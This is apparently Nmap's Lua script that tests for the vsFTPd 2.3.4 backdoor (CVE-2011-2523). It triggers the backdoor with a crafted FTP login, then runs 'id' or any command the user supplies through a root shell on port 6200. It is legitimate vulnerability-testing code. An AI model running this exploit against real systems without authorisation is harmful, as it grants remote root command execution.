1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193
|
local ftp = require "ftp"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"
description = [[
Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04
(CVE-2011-2523). This script attempts to exploit the backdoor using the
innocuous <code>id</code> command by default, but that can be changed with
the <code>exploit.cmd</code> or <code>ftp-vsftpd-backdoor.cmd</code> script
arguments.
References:
* http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
* http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2011-2523
]]
---
-- @usage
-- nmap --script ftp-vsftpd-backdoor -p 21 <host>
--
-- @args ftp-vsftpd-backdoor.cmd Command to execute in shell
-- (default is <code>id</code>).
--
-- @output
-- PORT STATE SERVICE
-- 21/tcp open ftp
-- | ftp-vsftpd-backdoor:
-- | VULNERABLE:
-- | vsFTPd version 2.3.4 backdoor
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2011-2523 BID:48539
-- | Description:
-- | vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
-- | Disclosure date: 2011-07-03
-- | Exploit results:
-- | The backdoor was already triggered
-- | Shell command: id
-- | Results: uid=0(root) gid=0(root) groups=0(root)
-- | References:
-- | https://www.securityfocus.com/bid/48539
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
-- | http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
-- |_ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
--
author = "Daniel Miller"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit", "intrusive", "malware", "vuln"}
local CMD_FTP = "USER X:)\r\nPASS X\r\n"
local CMD_SHELL_ID = "id"
portrule = function (host, port)
-- Check if version detection knows what FTP server this is.
if port.version.product ~= nil and port.version.product ~= "vsftpd" then
return false
end
-- Check if version detection knows what version of FTP server this is.
if port.version.version ~= nil and port.version.version ~= "2.3.4" then
return false
end
return shortport.port_or_service(21, "ftp")(host, port)
end
local function finish_ftp(socket, status, message)
if socket then
socket:close()
end
return status, message
end
-- Returns true, results if vsFTPd was backdoored
local function check_backdoor(host, shell_cmd, vuln)
local socket = nmap.new_socket("tcp")
socket:set_timeout(10000)
local status, ret = socket:connect(host, 6200, "tcp")
if not status then
return finish_ftp(socket, false, "can't connect to tcp port 6200")
end
status, ret = socket:send(CMD_SHELL_ID.."\n")
if not status then
return finish_ftp(socket, false, "failed to send shell command")
end
status, ret = socket:receive_lines(1)
if not status then
return finish_ftp(socket, false,
string.format("failed to read shell command results: %s",
ret))
end
if not ret:match("uid=") then
return finish_ftp(socket, false, "service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE")
end
vuln.state = vulns.STATE.EXPLOIT
table.insert(vuln.exploit_results,
string.format("Shell command: %s", CMD_SHELL_ID))
local result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
table.insert(vuln.exploit_results,
string.format("Results: %s", result))
if shell_cmd ~= CMD_SHELL_ID then
status, ret = socket:send(shell_cmd.."\n")
if status then
status, ret = socket:receive_lines(1)
if status then
table.insert(vuln.exploit_results,
string.format("Shell command: %s", shell_cmd))
result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
table.insert(vuln.exploit_results,
string.format("Results: %s", result))
end
end
end
socket:send("exit\n");
return finish_ftp(socket, true)
end
action = function(host, port)
-- Get script arguments.
local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
local vsftp_vuln = {
title = "vsFTPd version 2.3.4 backdoor",
IDS = {CVE = 'CVE-2011-2523', BID = '48539'},
description = [[
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
references = {
'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html',
'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb',
},
dates = {
disclosure = {year = '2011', month = '07', day = '03'},
},
exploit_results = {},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
-- check to see if the vsFTPd backdoor was already triggered
local status, ret = check_backdoor(host, cmd, vsftp_vuln)
if status then
return report:make_output(vsftp_vuln)
end
-- Create socket.
local sock, code, message, buffer = ftp.connect(host, port,
{request_timeout = 8000})
if not sock then
stdnse.debug1("can't connect: %s", code)
return nil
end
-- Read banner.
if not code then
stdnse.debug1("can't read banner: %s", message)
sock:close()
return nil
end
status, ret = sock:send(CMD_FTP .. "\r\n")
if not status then
stdnse.debug1("failed to send privilege escalation command: %s", ret)
return nil
end
stdnse.sleep(1)
-- check if vsFTPd was backdoored
status, ret = check_backdoor(host, cmd, vsftp_vuln)
if not status then
stdnse.debug1("%s", ret)
vsftp_vuln.state = vulns.STATE.NOT_VULN
return report:make_output(vsftp_vuln)
end
-- delay ftp socket cleaning
sock:close()
return report:make_output(vsftp_vuln)
end
|